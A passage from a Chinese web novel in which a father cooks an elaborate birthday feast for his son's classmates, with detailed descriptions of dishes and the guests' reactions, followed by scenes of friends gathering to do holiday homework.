姜片香味完全被煸出来后，他将鸭肉倒进锅里，又依次加入甜面酱、花椒、冰糖、生抽、老抽、干辣椒一起翻炒，炒完放入砂锅里焖煮收汁。 鸭肉中没有放其他配菜，只有用油煸干的姜片，等到菜出锅时，卤香混着焦糖气息，以及花椒和干辣椒的麻辣香扑鼻而来。 老爷子审视着他做出来的黑鸭煲，卖相看起来倒是还行，但轻嗅两下后立刻皱眉：“冰糖放多了，甜味太重。” 见他尝都不尝就说太甜，楚易文握着筷子夹起块鸭肉，先卤再炒再焖的鸭肉吃起来酥烂脱骨，入口甜味非常明显，哪怕很快麻辣味就涌现出来，还是能感受到甜味确实有些重。 楚易文感觉这道菜儿子他们应该会喜欢，品尝完就重新开始制作。 次日。 楚易文一大早就起来，先将家里家外的布置检查一遍，把几个有些漏气的气球重新打气后，走到厨房开始做早餐。 五月份并不是吃蟹的季节，但由于楚瑾钰说想吃蟹黄汤包，他还是特意买了点螃蟹回来。 五月份的螃蟹蟹黄不算饱满，只能说凑合着吃。楚易文偷偷用积分在系统那换了几些螃蟹出来，才将蟹黄汤包给做好。 早上楚瑾钰起床，从房间出来就看到客厅到处都装点着气球，以及十七岁的各种生日祝福。 哪怕这些布置是昨天看着工作人员一点点弄好，此时再看，他脸上还是不由浮现几分笑意，尤其是闻到从厨房飘过来的香味时。 就在他洗手准备吃早餐时，门铃声响起，却是胡一齐几人过来。 “你们那么早来干嘛？”楚瑾钰语气透着嫌弃。 胡一齐没理他，而是直接往厨房冲：“哇，我闻见蟹黄汤包的香味了！楚爸你是不是做包子了？” 商时贸和叶其林比他好点，至少先对楚瑾钰说了声“生日快乐”，还将礼物塞过去，随即才跑进厨房。 “真是服了你们……”楚瑾钰将礼物放好，赶紧冲进厨房，生怕他们把包子吃完。 鲜香美味的蟹黄汤包，好久没吃胡一齐他们都特别怀念这一口的味道，掀开蒸笼就吃起来。 鲜美的汤汁入喉，几人脸上不约而同露出享受的表情，等咬上包子皮和包子馅时，那皮滑肉嫩的滋味，更是好吃到令他们陶醉。 楚瑾钰咀嚼着香喷喷的蟹黄汤包，脑海不由浮现第一次吃他爸做蟹黄汤包的场景。 见几个孩子直接站在厨房里吃，楚易文有些哭笑不得。他伸手把蒸笼端到餐桌上，又将豆浆端出去，让几个孩子坐着吃后，自己随便吃点垫垫肚子就开始准备生日会上的吃食。 由于有部分同学要跟家里人出去玩，最终确定要过来的人加上叶其林他们有三十多个。 知道儿子班里同学都想吃自己做的菜，楚易文只将水果、零食、蛋糕、甜品这些交给生日会承包方那边准备，自己则是亲自做中午的饭菜。 三十多人的饭菜说多不多，说少也不少，他特意准备了大电饭煲和大锅，保证要让过来的孩子都吃饱，吃好。 除了生日会，楚易文还准备了最新款游戏机和好多游戏卡带给儿子当生日礼物。早餐结束后，楚瑾钰就迫不及待拉着叶其林他们一起玩游戏。 伴随着客厅里热闹的打游戏声，楚易文先用特大号砂锅将腌笃鲜炖上，随即又开始做红烧肉和红烧排骨。 还好他家有四个灶台，同时电蒸锅、电炖锅之类的厨具更是特别齐全，否则今天还真不一定能忙活过来。 九点左右时，承包生日会的工作人员过来，有人在家里和院子里装点鲜花，有人将零食小推车分别摆在合适的地方，还有人进厨房给楚易文打下手。 “怪不得你要自己下厨，这也太香了。” 进厨房帮忙的工作人员闻着从砂锅里飘出来的鲜味，再瞧着他同时掌控着两个锅分别炖红烧肉和红烧排骨，表情里带着佩服。 楚易文笑了下，转头又将处理好的羊排放入烤箱中。 十点多时，随着厨房里香味越来越浓，胡一齐最先坐不住，直接跑进来蹭吃。 “唔，楚爸你做的红烧肉简直绝了。”胡一齐吃着肥而不腻的红烧肉，感受着肥肉部分软糯中带着胶质，觉得简直不要太香。 如果说其他菜是瘦肉更好吃，那么红烧肉绝对是肥肉更香，麻将块大小的红烧肉躺在砂锅里，筷子夹起来时肉皮微微颤动，那油亮的色泽，简直在诱惑人赶紧咬下去。 反正胡一齐是经不起诱惑，他吃完一块还想第二块，被红烧肉咸甜交融的味道完全打开食欲。 眼见他一进厨房就出不来，很快楚瑾钰跑人都跑过来。 “好了，你们再吃中午该吃不下饭了。”眼见他们站在厨房里吃得停不下来，楚易文赶紧开口阻止。 他发话后，楚瑾钰几人才意犹未尽地从厨房里离开，擦擦嘴巴继续去客厅打游戏。 临近十一点时，开始有同学到达小区门口，由于楚瑾钰父子提前跟门卫打过招呼，同学们只要说一声就能进来。 “好香啊……” 刚进小区大门，陆续过来的同学们就已经闻见香味，有人努力吸两下鼻子后说：“我闻见红烧排骨的味道了，之前楚瑾钰在教室吃红烧排骨时可把我给馋死，今天终于能吃到了！” “不知道有没有炸鸡，那天中午我看到楚瑾钰在校门口吃他爸做的炸鸡，妈呀，简直能香死个人，要不是我脸皮不够厚，就直接上去要了。” “我想吃香辣田螺，那天生物课上的田螺好吃死了，后面我去外面买田螺吃，根本不是那个味。” 同学们说着说着口水都快要下来，脚步不自觉加快。 “应该是这家吧？” “肯定是，院子里布置了那么多的气球和花。” 说是那么说，最先过来的几个同学还是不好意思直接进去，于是按响院门外的门铃。 楚瑾钰打开家门看到他们站在院子外，开口喊道：“直接进来呗，院门不是没关。” “楚瑾钰生日快乐！” “生日快乐~” 同学们走进院子里，有人忍不住感叹他家院子真大，还有人则是被更加浓郁的饭菜香馋到，开口说话时口水差点没跟着流出来。 楚瑾钰干脆将大门和院门都敞着，随即招呼先来的同学随便坐。 家里客厅除了原本的餐桌，又加了三张大圆桌，看起来没有平常那么开阔，但坐下三十个人完全没问题。 屋里饭菜香味更加浓郁，尤其是随着楚易文将黑鸭煲做好，开始炸鸡时，先是黑鸭煲那股带甜中带辣的浓郁香味扑鼻而来，随即是炸鸡特有的焦香。 “瑾钰，人到齐没？齐了可以上菜吃饭了。”楚易文听到家里热闹的声音，不用出去都知道已经来了不少人，想着不能让孩子们久等。 “还没，才来了一半。” 楚瑾钰话落，又有几个同学被晃悠到院子里的胡一齐领进门，其中就有邵言易。 “谁还没来了？太磨蹭了，在群里催一下。” 最先过来的几个同学已经快被屋子里浓郁的香味馋哭，听到楚易文说人到齐就可以吃饭，有手机的纷纷掏出手机在群里催起来。 第47章 香酥小刀鱼 为了方便孩子们分享, 楚易文今天没有炸整鸡，全部炸的鸡腿和鸡翅。 随着金灿灿的炸鸡腿、炸鸡翅在盆里堆成小山，屋里屋外都飘着炸货特有的焦香, 以及香辛料的复合香气。除此之外，还有红烧肉浓郁的肉香，腌笃鲜诱人的鲜香，黑鸭煲的甜辣香…… “还有谁没来？” “人应该都到齐了吧？” 此时屋里的香味，连楚瑾钰这种天天在家里吃饭的人都有点扛不住，更别说早就在学校被馋了好久的同学们。他们闻着扑鼻而来的香味，开始自发地清点人数。 确定能来的都已经到场, 胡一齐跑到厨房门口：“楚爸，人都来齐了！” “好，那我让人把菜端出去。” 楚易文话落, 不用他再开口，厨房里打下手的工作人员已经纷纷端着菜往外走。 客厅内，三张大圆桌正好坐下全部人, 在他们期待的眼神中，冷吃牛肉最先上桌, 随即是蜜汁香辣小鱼干、拍黄瓜。 “可以吃了吗？” “叔叔还没来，是不是要等一下？” 楚易文端着刚出锅的炸鸡走过来，听到这话立刻开口：“不用等我，你们直接吃就行, 厨房里有那么多吃的，可饿不着我。” “叔叔你做的菜太香了！简直比外面大酒店的还香！” “叔叔辛苦了！” “叔叔，你做的菜简直色香味俱全，光是看着就能馋死个人。” 看到楚易文出来，同学们视线都不自觉黏在炸鸡上, 嘴里还不忘夸赞。 楚易文笑着招呼道：“那你们多吃点，桌上饮料自己倒着喝，别客气。” 他说完就继续回厨房去，同学们此时终于忍不住，纷纷拿起筷子开吃。 “唔，就是这个味，太好吃了，香香辣辣还不柴，简直就是人间美味。” 有同学显然是上次元旦晚会时没吃够冷吃牛肉，此时看到桌上有，第一个朝它下手。 不过更多人在炸鸡霸道的香味下，却是选择先吃炸鸡。 “这炸鸡，也太漂亮了！” 跟男生们拿到炸鸡就迫不及待往嘴里塞不同，在座的女生却是下意识欣赏两眼炸鸡，随即才慢慢咬上去。 炸鸡表面那层面衣不光色泽金黄诱人，吃进嘴里更是格外酥脆，咀嚼间满满都是浓郁焦香和鸡肉的鲜嫩。随着鸡腿被咬下去一块，露出里面鲜嫩到往外溢出汁水的鸡肉，简直别提有多香。 “太好吃了！感觉我以前吃的都是假炸□□！” “外焦里嫩，好吃到我想哭……” “妈呀，感觉吃过这个炸鸡后，外面卖的炸鸡都不想再吃了。” “外面这层又薄又脆，里面的鸡肉鲜嫩多汁，一点腥味都没有，楚瑾钰你爸太厉害了，竟然能做出这么好吃的炸鸡！” 光是一道黄金炸鸡就征服在座的所有学生，每个人都吃得赞不绝口，随即更是下意识抢起来。 “你都吃两个了，给别人留点啊！” “我刚刚吃的是炸鸡腿，鸡翅还没吃。” “你太过分了，手里没吃完又拿！” “你们别急，还有好多菜。”楚瑾钰看到同学们吃着吃着抢起来，心里为自家老爸的厨艺感到自豪，很有主人风范地开口。 不过他说完，余光却看到胡一齐也在抢，而且抢了满满一碗，没忍住瞪他。 “你有毒吧，平常我爸什么时候少你炸鸡吃了？”楚瑾钰压低声音在他耳边说。 胡一齐闻言咽下嘴里鸡翅道：“楚爸又不是天天做炸鸡，难得有今天这种好日子，当然得多吃点，你别管我，就把我当普通同学。” 楚瑾钰有些一言难尽，不过到底还是懒得再说他。 很快三张桌上的炸鸡全部被抢完，有同学甚至意犹未尽地把鸡骨头啃了又啃才舍得丢下。 与此同时，其他菜开始上桌，油润诱人的红烧肉落到桌上那瞬间，晶莹剔透的肥肉部分轻轻颤动，惹得同学们纷纷伸出筷子去夹。 肥美酥烂，甜咸适中的红烧肉还没咽下去，带着满满孜然香和香辣气息的烤羊排又被端上来。 “哇，好香的烤羊排！” 刚出烤箱的羊肋排表面还微微冒着油花，各色香料撒在上面，看起来卖相十足。 握着骨头啃肉的感觉特别痛快，有同学刚开始还拿筷子去夹，很快就直接上手，烤得外焦里嫩的羊肉被从骨头上咬下来，咀嚼间半点膻味都没有，满满都是浓郁的肉香和孜然与辣椒面的辛香。 楚瑾钰刚开始还端着点主人的架势，边招呼同学们吃菜边喊他们喝饮料，不过很快他也沉浸在美食中。 烤羊排边缘的部分被烤得特别焦，那股焦香单吃很美味，配上内里鲜嫩的羊肉一起咀嚼，口感更加丰富。 邵言易平常很少吃羊肉，类似这种羊排，他更是只在以前和奶奶去喝喜酒时，在宴席上吃过两回。 此时他认真啃着羊排上的肉，感觉手里的烤羊排比曾经宴席上的还要美味。 “你别光吃手里的，赶紧往碗里夹，不然待会好吃的都被抢光了。” 胡一齐看到邵言易拿着根羊排啃半天，碗里却没东西，边伸筷子去抢啤酒鸭边提醒。 “没事，反正桌上菜都很好吃。”邵言易说完伸出筷子夹了个苦瓜酿肉。 苦瓜酿肉卖相同样很诱人，碧绿色苦瓜镶嵌着肉馅，颜色搭配很是漂亮。不过在座的没有哪个人爱吃苦瓜，因此这是难得上桌几分钟后还保持很完整的菜品。 其他人都不碰，邵言易倒是挺喜欢，之前他在学校蹭过楚瑾钰一顿饭，那次就有苦瓜酿肉，他还挺很爱吃，只是没好意思多吃。 “邵言易，那个苦瓜不苦吗？”有人看到他吃苦瓜酿肉，忍不住好奇。 邵言易咽下嘴里咸鲜微苦，苦中又带着回甘的菜才开口：“还好，基本上没什么苦味，很好吃。” 基本上没什么苦味，那说明还是有一点点苦，听到这个回答，大部分同学都收起好奇心，毕竟桌上有那么多好吃的，干嘛要自找苦吃。 只有个别好奇心比较重的，忍不住夹起一个尝尝，咬下去时先尝到苦瓜的脆嫩，然后是肉馅的咸鲜嫩滑，咀嚼间淡淡苦味在味蕾上蔓延开来，没等她皱眉，一股回甘将苦味驱散，只余下苦瓜特有的清香和肉馅的鲜嫩多汁。 “思语，你尝尝这个苦瓜酿肉，真的不苦哎，没想到有一天我竟然会觉得苦瓜好吃。” 余思语听到朋友的话，伸出筷子夹起一个，刚吃两口就点头道：“确实挺好吃，有一点点微苦，但这种苦味非但不难吃，反而挺特别。” 她们惊艳于苦瓜酿肉的美味时，旁边那张桌上有人正在夸煎豆腐：“我的天呐，楚瑾钰你爸该不会是什么御厨传人吧！否则怎么会连个普通的豆腐都做得这么好吃！” 小火慢煎出来的豆腐表面微焦中带着几分酥脆感，内里则是滑嫩、柔软，一口咬下去，浓郁的豆香弥漫开来，那咸鲜的滋味，明明是最家常豆腐菜色，却令人吃得停不下来。 “还有这道红烧排骨，真是绝了！亏我以前还觉得食堂的红烧排骨好吃，今天才知道什么是色香味俱全的红烧排骨！” “确实，红烧排骨真的好香啊，甜味恰到好处，连骨头缝都入味了，吃起来还不柴……” “我感觉这汤拌饭肯定香。” 听到有人提起米饭，楚瑾钰直接起身去厨房询问：“爸，有饭吗？” “有啊，在电饭煲里，我让人端出去。” 楚易文话落，很快就有米饭上桌，那雪白晶莹的米饭，看着就令人有食欲。 “好香的米饭！” 浓郁的米香没有肉菜香味那么霸道，但却带着润物细无声的诱惑，不少同学本来没想吃主食，此时看到这么漂亮的米饭，都忍不住盛一些到碗里。 “唔，红烧排骨的汤拌饭果然好香，真好吃！” “你别倒光了，给我留点啊。” “少倒点，你是真不怕腻！” “一点都不腻，太好吃了。” 随着米饭上桌，同学们不光抢菜，连菜汤都不放过。 大家正抢着菜汤时，又一道菜上桌，散发出一股让同学们感觉有点熟悉的气息。 “楚爸，这是什么菜？” 发现有自己没吃过的新菜，胡一齐扯着嗓子问，很快得到“黑鸭煲”的回复。 “黑鸭煲？闻起来好香，有点像外面卖的黑鸭风味的卤鸭脖那个味道。” 说完同学们纷纷握着筷子去夹菜，咀嚼间先尝到甜味，很快麻辣香味依次在味蕾上浮现，整体味道甜咸中带辣，辣中带着微微麻，第一口就令人惊艳。 “好吃！比外面卖的黑鸭风味鸭脖还要美味！” “我喜欢这道菜！太入味了！” 先卤再炒再焖煮的鸭肉肉质酥烂入味，浓稠的汤汁裹在上面，那甜甜辣辣的滋味，很快就征服在场所有人。 “你尝尝这个。”胡一齐指着黑鸭煲对楚瑾钰说。 楚瑾钰白他一眼：“你当我傻啊！那是姜，我看得出来。” “这个姜挺好吃的，尤其是配上鸭肉一起，真的，我不骗你。”胡一齐说完夹起片姜放到鸭肉上送进嘴，咀嚼间脸上露出享受的表情。 楚瑾钰不信他，桌上却是有人好奇心重，试着尝了一下，很快眼睛微微亮起来：“真的挺好吃，这姜吸满汤汁和肉鲜味，单吃有一点点姜辣味，但配鸭肉一起吃，还挺香。” 姜片经过煸炒，那股辛辣味大部分被煸出来，此时吃起来脆嫩中带着汤汁的咸鲜，如果说单吃姜味还有点浓，那么跟鸭肉一起咀嚼，那股姜味就显得恰到好处，让鸭肉口感都更丰富些，吃起来别有一番滋味。 姜这种调味用的配菜，没几个人会爱吃，在胡一齐带头用姜片配鸭肉吃时，大家一开始都是抱着怀疑的态度，不过尝试以后却是都有点被惊艳到。 “真的好好吃啊！没想到有一天我竟然会主动吃姜。” “主要是这个姜还怪好吃，不知道怎么形容，反正就是吃了还想吃，感觉有点上瘾。” “姜片吃起来脆脆的，配上鸭肉的酥烂软嫩，越吃越香。” “这个汤拌饭也很好吃，太下饭了。” 感觉桌上每样菜都是人间美味，有吃货差点没被好吃哭，同时发出羡慕的声音。 “楚瑾钰，你也太幸福了，天天能吃到这么没有的饭菜！” “楚瑾钰你还缺朋友吗？你看我怎么样？” 楚瑾钰听着班里同学们羡慕的声音，眼底透出几分自己都没发现的愉悦笑意。 就在大家埋头苦吃时，楚易文终于从厨房出来，和工作人员一起端出腌笃鲜。 “苦瓜酿肉不好吃吗？” 楚易文将装腌笃鲜的汤盆放到隔热垫上，视线不自觉扫过桌子，看到大部分菜都被吃得连汤都不剩，只有苦瓜酿肉没怎么动。 “没有，是好吃的太多了，根本吃不过来。” “对，叔叔你手艺简直太棒了！每道菜都是人间美味！” “叔叔，你真不是御厨传人吗？厨艺简直比五星级大厨还好！” “叔叔，你还缺儿子吗？不缺的话介不介意多一个？我听话懂事还吃得少……” “叔叔看看我，我不光吃得少，还会搞卫生！” 刚开始是班上几个男生在起哄，很快有女生也笑着加入进来。 “叔叔你缺不缺女儿？” 楚易文被他们逗得笑起来，摆手道：“算了，我能把我家这个养好就不错了。” “你们别闹，我爸才不缺儿子女儿。”楚瑾钰语气里带着几分傲娇。 玩笑过后，大家立刻就被桌上散发出浓郁鲜味的腌笃鲜给吸引，纷纷拿勺子去盛。 “这是笋子炖肉吗？闻起来好香啊！” 有同学没吃过腌笃鲜，捧着碗感叹完立刻低头去喝汤，那能把人眉毛鲜掉的滋味，让他喝得根本停不下来。 “什么笋子炖肉，这是腌笃鲜，楚爸的拿手好菜。” 胡一齐话落，楚易文笑着开口：“食材确实是笋子和肉，说是笋子炖肉也没什么问题。” 邵言易用勺子轻轻搅动碗里的食材，深粉色的咸肉，浅粉色的鲜肉，嫩黄色的笋、翠绿的莴笋、米黄色的百叶结在汤里飘动，他感觉这道腌笃鲜不光闻起来香，卖相更是特别漂亮。 咸肉和鲜肉给整道汤品打下咸鲜的基础，笋子的清甜融入汤中，平衡了这股咸鲜味，莴笋和百叶结则是让菜色和口感更加丰富。 邵言易品尝着自己从未吃过的美味，有点可惜不能让自家奶奶尝尝。 “叔叔，你做的这个腌笃鲜真好吃！汤也格外鲜！” “叔叔你是不是还没吃？快来一起吃吧。” “爸，给。”楚瑾钰直接将一碗食材满满的腌笃鲜递过去。 楚易文在厨房里闻油烟味都已经闻饱了，其实并不饿，不过见儿子这么贴心，还是伸手接过来，有一口没一口地吃着。 他今天准备的菜不论是种类还是分量都不少，可耐不住孩子们胃口好，等到午餐结束时，桌上连苦瓜酿肉都被吃完，只剩下香辣田螺。 当然，并不是香辣田螺他们不爱吃，而是它吃起来太费时间，影响大家抢其他菜，于是同学们默契地选择把它放到最后吃。 “吃饱没？”楚易文看到桌上盘子全部空掉，有点担心孩子们没吃饱。 “吃得特别饱，谢谢叔叔，叔叔你今天辛苦了！” “吃饱了，叔叔你手艺太好了，我都有点撑着。” “叔叔，楚瑾钰今天过的是农历生日还是阳历，要是农历的话，你要不要再给他过个阳历生日？” 楚易文听到最后那句有些好笑，确定他们都吃饱，开口道：“那你们可以去院子里活动一下，或者在客厅打打游戏，等你们消化一会再吃蛋糕。” 生日会策划方准备了不少室内室外的小游戏，然而大家却没几个对游戏感兴趣，明明一个个都说吃饱了，还有好多喊撑，却还坐在餐桌上舍不得放过香辣田螺。 “打游戏吗？打游戏吗？”胡一齐试图喊几个人一起打游戏，结果回应他的只有田螺壳碰撞发出的清脆声响。 同学们专心吃着田螺，螺壳一个接一个丢到桌上，压根没功夫理他。 有人很会吃，两指捏着田螺先吸干净表面的汤，再对准螺口轻轻一嗦，麻辣鲜香的汤汁就和螺肉一起进嘴，咀嚼间简直越吃越过瘾。 有人不擅长嗦螺蛳，便一手捏田螺，一手捏牙签，先吸口汤，再把螺肉挑出来吃。 听着螺壳碰撞发出的声音，再看他们吃得那么香，胡一齐顿时又馋起来，放下手里最新款游戏机，加入嗦螺大军中。 楚易文眼见他们一心只有田螺，都不知道该为自己手艺得到孩子们认可感到高兴，还是为准备的游戏没人玩感到好笑。 终于等到餐桌上香辣田螺被吃完，同学们有些嗦着手指，有些回味着嘴里余味，现在是真吃饱了撑的，完全不想动弹。 楚易文看到他们这样，想到还没吃的蛋糕，觉得不能让他们继续坐着，于是拿出自制小零食当奖励，说小游戏前三名可以得到奖品。 同学们听到有他亲手做的小零食，瞬间就精神起来，立刻跟着策划生日会的工作人员转移到院子里。 第一个游戏是踩气球，游戏还没开始胡一齐就开始放狠话：“你们等着，看我把你们的气球通通踩爆！” “不是吧，你平常就能吃到叔叔做的美食，现在竟然还要和我们抢？” “既然如此，大家一起上，先踩爆他，让他出局！” 楚瑾钰看到胡一齐引起众怒，被大家一起围攻，站在旁边笑弯了腰。 院子里同学们很快沉浸到游戏中，笑闹声接连不断响起时，楚易文站在门口围观一会就转身去厨房。 家里只剩几斤多牛肉干和大半桶虾干，他想到昨天买的小刀鱼，决定现做一个香酥小刀鱼。 他之所以午餐时没做，是因为买的小刀鱼不多，昨天水产摊子那里统共就剩三斤多，他全给包圆。 香酥小刀鱼做法简单，先将食材处理干净，再加点葱、姜、料酒、盐腌制去腥。腌制的时间，楚易文拿出盆开始调面糊，先将鸡蛋打散，再加入面粉、淀粉用水搅拌均匀。 搅拌完，他握着筷子挑起面糊，看到面糊顺着筷子上呈直线下落，觉得浓稠度正好，开始加入少许盐、少许五香粉再次搅拌。 等到小刀鱼腌制好，楚易文将鱼丢进盆里裹上面糊就开始炸，六成油温将鱼下进去，中火慢炸，很快一条条裹着面糊的小刀鱼就被炸成浅金黄色，带着焦香的鱼鲜味源源不断从锅里飘出来。 当香味传到院子里时，玩游戏的同学们有被馋到，瞬间竞争得更加激烈。 三斤多小刀鱼炸起来很快，没多久厨房台面上就冒出一盆浅金黄色的炸鱼。此时的小刀鱼已经被炸定型，内里基本熟透，不过想到达到香酥的口感，还得进行二次复炸。 锅中油温到八成热时，楚易文将小刀鱼分批下锅，这次炸的时间比较短，一分钟不到，在鱼表面变成金黄色时就立刻捞出来，倒在铺着吸油纸的盘子里。 趁着小刀鱼刚炸完还冒着热气时，他稍微往上面撒了点辣椒粉、孜然粉等调料提味。 浓郁霸道的油炸香味源源不断飘出去时，楚瑾钰这个当儿子的最幸福，直接就走进厨房里光明正大地偷吃。 金黄色的炸小刀鱼看起来就特别酥脆，吃进嘴里时牙齿上下一碰，立刻发出“咔嚓”声，经过高温油炸，小刀鱼肉质变得特别紧实，咀嚼间又香又脆还有嚼劲。 楚易文没有放太多调料，只撒了一点点提味，小刀鱼吃起来满满都是食材本身的鲜味，那咸香微辣，鲜香酥脆的滋味，吃起来简直令人上瘾。 “别吃太多，待会还要吃蛋糕。”楚易文看到自家儿子吃得停不下来，笑着提醒。 香酥小刀鱼连小刺都被炸得酥脆，吃起来完全没腥味，只有满口的鲜香，楚瑾钰越吃越喜欢：“那爸你下次再给我做这个鱼。” 第48章 菠萝咕咾肉 “行, 下次给你做。”楚易文一口答应下来。 他话落，楚瑾钰最后吃两条香酥小刀鱼才彻底收手，转身去院子里看到底谁胜谁负。 几个小游戏结束, 最终前三名得到了美食奖励，分别是虾干、牛肉干、香酥小刀鱼。不过拿到奖励的三人高兴还没几分钟，同学们就一拥而上，直接笑闹着瓜分掉那三样小零嘴。 虾干就不用说，之前元旦晚会是同学们都吃过，牛肉干那叫一个香，咀嚼间浓郁肉香弥漫整个口腔, 简直不要太美味。 现炸的小刀鱼那更是绝了，就是像它的名字一样香酥无比，咬下去时发出的咔嚓声, 以及浓郁的鲜味，越吃越香，令人享受。 “楚爸, 你做的这个香酥小鱼干太香了！跟蜜汁香辣小鱼干是不同的好吃！”胡一齐回味着嘴里的余味，明显没吃够。 “喜欢吃下次再给你做。” 听到楚易文这话, 旁边有同学忍不住开口：“叔叔，我也还想吃这个香酥鱼！” “那我下次多做点，让瑾钰拿到学校和你们一起分享。” 听到这话，在场的同学立刻欢呼起来：“谢谢叔叔！叔叔你真是太好了！” “叔叔万岁！” 在欢快愉悦的氛围下, 楚易文让工作人员将蛋糕推出来，开始吃蛋糕。 “祝你生日快乐，祝你生日快乐……” 看到精致的三层大蛋糕时，同学们不约而同唱起生日歌来，期中就数胡一齐最大声。 走完点蜡烛许愿的流程后, 楚瑾钰脸上带着笑容开始切蛋糕。 由于是在家里，加上旁边有楚易文这个长辈在，同学们拿到蛋糕后倒是没玩什么抹奶油的游戏，而是端在手上慢慢吃着。 只有胡一齐，仗着和楚瑾钰关系好，弄了点奶油往他脸上抹，随即两个人就绕着桌子跑起来。 今天是楚瑾钰生日，大家自然向着他，在胡一齐跑路时帮忙拦截他，成功让楚瑾钰报复回去。 吃得好，玩得开心，在场所有人脸上都带着笑容，就连平时不是很爱笑的邵言易都不例外。 楚易文哪怕心里再是告诉自己一切已经不同，不用在意那个梦，可还是下意识会去关注邵言易。 在发现他看起来除了长得好看一些，其他跟在场同学没有什么区别后，这才收回视线。 蛋糕吃完，同学们又在室内玩起来，有人跟楚瑾钰一起玩他的最新款游戏机，有人在组局打牌，还有人在玩桌游。 楚易文望着洋溢青春的热闹氛围，时不时开口招呼他们吃水果，吃零食，然而大家吃过蛋糕后现在是真吃不下，只能纷纷拒绝他的好意。 下午三点多快四点时，同学们准备回家，楚易文让他们把小推车里的零食、水果、饮料分一分带走。 有同学觉得连吃带拿不太好，楚瑾钰直接替他爸开口：“本来就是准备给你们吃的，那么多我跟我爸哪吃得完，还有水果，好多都切了，放到明天该坏掉。” 听到这话，同学们这才没再客气，纷纷挑选自己爱吃的零食、水果、饮料拿回家。 从楚瑾钰家离开，不少同学半路上就开始在班里群里发美食照片，向那些没能来班里生日会的人炫耀。 【@小黄鸭你没来太可惜了，叔叔今天做了好多好吃的，有红烧肉、红烧排骨、烤羊排、炸鸡……每样都特别好吃［图片］［图片］】 【［图片］还有这个叫腌笃鲜的菜，简直绝了，我第一次知道原来咸肉还可以跟笋一起炖，而且这么鲜！】 【没来的人我真替你们感到可惜，叔叔做的炸鸡简直是炸鸡界天花板，外面薄薄的脆壳焦香酥脆，内里鸡肉鲜嫩多汁，比外面卖的什么韩式炸鸡好吃一百倍［图片］［图片］】 【还有这个黑鸭煲，我可太爱吃了，鸭肉又烂又入味，甜中带辣，辣中带鲜，吃起来完全没有鸭腥味，好吃惨了［图片］】 【啊啊啊啊！你们太过分了，我今天在景区人挤人已经快要累死，你们还拿美食馋我，好饿啊！这日子真是没法过了，我都跟我妈说不出来了，她非要来……】 【景区没东西吃吗？不应该吧？】 【景区的东西又贵又不好吃，我中午吃了份照烧鸡腿饭套餐，六十八一份就算了，还死甜死甜的，难吃得要命。】 【炸鸡看起来就好好吃，呜呜呜，我也好想吃，要不是我家里人已经买好票，我肯定不出来玩。】 班级群里，那些没来参加生日会的同学望着其他人分享的美食照片，以及玩游戏的小视频，简直后悔得肠子都青了。 参加生日会的同学在群里炫耀完，回家又跟家里人分享起来，重点描述中午那顿饭有多好吃。 “叔叔做的菜特别好吃，他做的红烧排骨比学校食堂好吃一百倍，而且感觉他什么都会做，有道叫腌笃鲜的菜，是用笋和咸肉、鲜肉一起炖的，特别鲜，我以前听都没听过……还有炸鸡，他竟然连炸鸡都会！而且比外面炸鸡店卖的还要香……” 听到女儿滔滔不绝夸奖着别人的爸爸，余父有点酸：“我知道了，他肯定是厨师，厨师做菜好吃不是很正常。” “叔叔不是厨师，好像是开公司的。”余思语说完继续夸，“他还会做牛肉干和虾干，味道都特别好吃，牛肉干肉味特别浓郁，比外面卖的还香。” 余母有点被她说馋了，忍不住道：“你光说我又感受不到多好吃，也不知道带点回来给我尝尝。” “没办法，叔叔手艺太好了，吃饭时大家都在抢，根本没有多余的让我带。” 余思语跟父母分享今天吃到的美食时，邵言易回到家第一件事就是把带回来的水果拿给奶奶吃。 “奶奶不吃，你自己吃。” 邵奶奶说完才想起来问他哪来的水果，得知是从楚瑾钰家带的，有点不太赞同。 “叔叔家准备了好多零食水果给我们吃，只是由于他做的饭太好吃，大家都光顾着吃饭，零食水果就剩下来，叔叔说留在家里坏了浪费，就让我们拿走。”邵言易解释道。 他说完，又以水果已经切开，再不吃要坏了为理由，让奶奶赶紧吃。 “怪甜的。”邵奶奶尝了几块哈密瓜和西瓜，笑得脸上皱纹都更加明显。 看到奶奶吃水果，邵言易比自己吃了还高兴，赶忙道：“奶奶你多吃点，我中午吃得太撑，感觉晚饭都不是很吃得下。” 这边同学们都各回各家，楚家，工作人员已经在收拾东西搞卫生，等到他们收拾完离开，家里只剩下楚易文父子二人。 今天一天楚瑾钰脸上笑容就没消失过，尤其是晚上还吃到他爸给他做的长寿面时，心情那叫一个愉悦。当美好的一天终于结束时，晚上睡觉他唇角的笑容都没有消失。 看在他过生日的份上，假期前面几天楚易文都没催过他写作业，结果就发现自家儿子是真喜欢拖延，他不催就不知道主动做。 假期最后一天，眼见他给叶其林几人发语音消息喊他们过来打游戏，楚易文不得不开口提醒：“你作业写完了吗？” 那必然是没有的，楚瑾钰甚至差点忘记还有作业这回事，闻言忍不住用带几分幽怨的眼神看向他，好像在说“你为什么要提醒我这种痛苦的事情”。 本着不能自己一个人痛苦的想法，楚瑾钰将刚刚那条打游戏的语音撤回，改喊他们拿上书包一起过来写作业。 他消息刚发出后，商时贸倒是第一时间说过来，叶其林和胡一齐则是明显在装死，根本不出来冒泡。 楚瑾钰见此，直接啪啪啪打字道【说好的有福同享，有难同当，你俩要是不过来，那明天我就跟商时贸一起吃饭，不带你们。】 胡一齐【靠！你怎么这么讨厌，我爸都不管我写作业，你要管！】 【好歹你曾经喊过我义父，义父也是父，你亲爸不负责，我这个野爸当然得管着点。】 胡一齐【滚滚滚，信不信我告诉楚爸去！】 【什么楚爸，没大没小，那是你爷爷。】 楚瑾钰在群里跟胡一齐闹了会，心情终于恢复些，想着作业早做晚做都是做，不如早点做完，说不定晚上还能玩会。 他在群里催了几声后，很快商时贸第一个过来，除了书包，手里还拎着袋东西。 楚瑾钰看清楚袋子里是好几个菠萝，随口问：“你拿那么多菠萝过来干嘛？” “你们家小区外面有人卖菠萝，我看着还不错，就买了点。”商时贸说完顺手把菠萝递给他。 “行吧，待会让我爸切开咱们一起吃。” 楚瑾钰将菠萝拎到厨房里放好，拿出手机刚在群里催了几声，很快叶其林就发消息过来让他开门。 “给。” 门刚打开，叶其林直接将一袋东西递出去，楚瑾钰顺手接过来打开，就闻见菠萝特有的清香：“又是菠萝，你不会也是在小区门口买的吧？” “对啊，你家小区门口有个电动三轮车在卖菠萝，我看老板年纪挺大，还带个小孩，就买了点。”叶其林说完反应过来，问，“又？你也买了菠萝？” 